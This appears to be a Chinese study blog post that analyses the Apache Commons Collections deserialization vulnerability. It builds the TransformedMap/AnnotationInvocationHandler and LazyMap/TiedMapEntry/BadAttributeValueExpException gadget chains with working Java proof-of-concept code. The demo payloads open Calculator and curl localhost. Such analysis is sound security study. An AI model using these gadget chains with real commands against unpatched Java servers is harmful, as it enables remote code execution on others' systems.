Apache Commons Collections
是 Apache Commons
的组件,它们是从 Java API
派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections
试图通过提供新的接口,实现和实用程序来构建JDK类。
Apache Commons
包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。
2015年11月6日FoxGlove Security安全团队的 @breenmachine
发布了一篇长博客,阐述了利用Java反序列化和 Apache Commons Collections
这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
Apache Commons Collections
中有一个特殊的接口 Transformer
,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数。
Transformer
接口
public interface Transformer { public Object transform(Object input); }
InvokerTransformer
public class InvokerTransformer implements Transformer, Serializable { ...... public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
可以看到 transform
方法利用Java的反射机制进行任意方法调用。
input
参数是传入的一个实例化对象,反射调用的是其方法。
private InvokerTransformer(String methodName) { super(); iMethodName = methodName; iParamTypes = null; iArgs = null; }
iMethodName,iParamTypes,iArgs
分别对应方法名,参数类型,参数,都是在实例化 InvokerTransformer
时传入的可控参数。因此利用这个方法我们可以调用任意对象的任意方法。
在Java中不能像php一样直接执行 system()
之类的函数,Java是完全面向对象的一门语言,执行某个操作需要 对象->方法
或者 类->静态方法
这样调用,常用的是 Runtime.getRuntime().exec(cmd)
,因此上面的任意方法调用不能达到命令执行的目的。要多次调用 transform
并且上一次的返回结果作为下一次的输入。
public class ChainedTransformer implements Transformer, Serializable { ...... public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } ....... public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
commons-collections
中有一个满足上面条件的类: ChainedTransformer
,该类实例化传入一个 Transformer
类型的数组,调用其 transform
方法挨个调用数组中对象的 transform
方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用 transform
方法时的参数是用户传入的。
结合 InvokerTransformer
可以构造出:
Transformer[] transformers = new Transformer[] { new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(Runtime.getRuntime());
可以看到实例化 InvokerTransformer
时传入了对应的参数,返回了一个 _Transformer
数组对象。_
ChainedTransformer
,赋值给了
this.iTransformers
然后把 Runtime.getRuntime()
对象做为参数传入 ChainedTransformer
的 transform
方法。然后调用数组中第一个对象的 transform
方法(数组中只传入了一个 InvokerTransformer
对象),把 Runtime.getRuntime()
做为调用参数。
然后反射调用 Runtime.getRuntime()
的 exec
方法并传入参数 open -a Calculator
执行。
当我们把上述 transformerChain
对象进行序列化然后反序列化时很明显不会触发命令执行,除非后端代码这样写。
InputStream iii = request.getInputStream(); ObjectInputStream in = new ObjectInputStream(iii); obj = in.readObject(); obj.transform(Runtime.getRuntime()); in.close();
显然不可能有这样的代码,我们的目的是只执行 readObject()
就触发命令执行。
这里用到一个内置类 ConstantTransformer
, transform
方法会把传入的实例化参数原样返回。
public class ConstantTransformer implements Transformer, Serializable { ..... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } }
因此构造
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
但是这里实例化后的对象 Runtime
不允许序列化,所以不能直接传入实例化的对象。所以我们需要在 transforms
中利用 InvokerTransformer
反射回调出 Runtime.getRuntime()
。
Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
整个调用链是 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
现在反序列化后就可以 obj.transform("随意输入");
这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。
https://xz.aliyun.com/t/4558#toc-0
/org/apache/commons/collections/map/TransformedMap.class
protected Object transformValue(Object object) { if (valueTransformer == null) { return object; } return valueTransformer.transform(object); }
这里只要 valueTransformer
可控就可以利用上面的调用链。
构造函数
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
可以看到 valueTransformer
是可控的。
触发点
public Object put(Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); }
因此可以构造
Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); Map transformedmap = TransformedMap.decorate(map, null, transformerChain); transformedmap.put("1", "2");
要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。
如果我们要实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对map执行put的操作。
不过还有一处 checkSetValue
同样调用了 transform
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
在他的父类 AbstractInputCheckedMapDecorator
中有个 MapEntry
静态类,调用了 AbstractInputCheckedMapDecorator.checkSetValue
static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
我们需要找一个 readObject
中对 map
执行 setValue
的地方。
在jdk小于1.7的时候 /reflect/annotation/AnnotationInvocationHandler.class
中, readObject
中有对 map
的修改功能。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
调试payload
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import java.lang.reflect.Constructor; import java.util.Map; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test implements Serializable{ public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"curl http://127.0.0.1:10000"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "2"); Map transformedmap = TransformedMap.decorate(map, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap); ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close(); ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject(); } }
首先把 transformerChain
赋值给了 valueTransformer
。
getDeclaredConstructor()
返回有指定参数列表构造函数的构造函数对象,这里获取了 sun.reflect.annotation.AnnotationInvocationHandler
的构造函数对象。最后实例化了 sun.reflect.annotation.AnnotationInvocationHandler
:
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
var1
和 var2
分别对应 java.lang.annotation.Retention
和Map实例 transformedmap
看其 readObject
方法
Iterator var4 = this.memberValues.entrySet().iterator();
, this.memberValues
就是Map实例 transformedmap
,首先会去调用其父类的 entrySet
方法,
而 valueTransformer
不为空,所以返回true。进入 new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this)
最终返回一个迭代器。
然后这里可以看到 var3
的键名为 value
,因此我们put的 key
必须为 value
,这样var7才不会为 null
。
接着判断 var7
是否是 var8
的实例, var8
是不是 ExceptionProxy
的实例。
setValue
,此时的
_this_.parent
就是
transformedmap
最终调用transform,触发命令执行。
看 /org/apache/commons/collections/map/LazyMap.java
中的get方法
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
factory
同样可控, key
任意值不会影响结果。
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }
现在我们需要想办法触发 get
方法。
/org/apache/commons/collections/keyvalue/TiedMapEntry.class
getValue
调用了 map
实例的 get
方法。
public Object getValue() { return map.get(key); }
而 toString
方法会调用 getValue
,java中的 toString
和php一样,都是当对象被当做字符串处理的时候会自动调用这个方法。
public String toString() { return getKey() + "=" + getValue(); }
修改poc
Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "123456");
序列化 entry
对象,当漏洞反序列化代码如下时触发漏洞:
InputStream iii = request.getInputStream(); ObjectInputStream in = new ObjectInputStream(iii); System.out.println(in.readObject()); in.close();
这样的话 我们还需要打印这个反序列化对象,我们需要找到一个重写了readObject方法,并且对某个变量进行了字符串操作的类。
/javax/management/BadAttributeValueExpException.java
这里直接调用了 valObj.toString()
,而 Object valObj = gf.get("val", null);
,这里的 val
是私有变量我们可以通过反射私有变量来赋值。从而让 valObj=entry
。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
最终会调用 toString
。
按照大师傅们文章中的思路跟了一遍,java好难,php真香。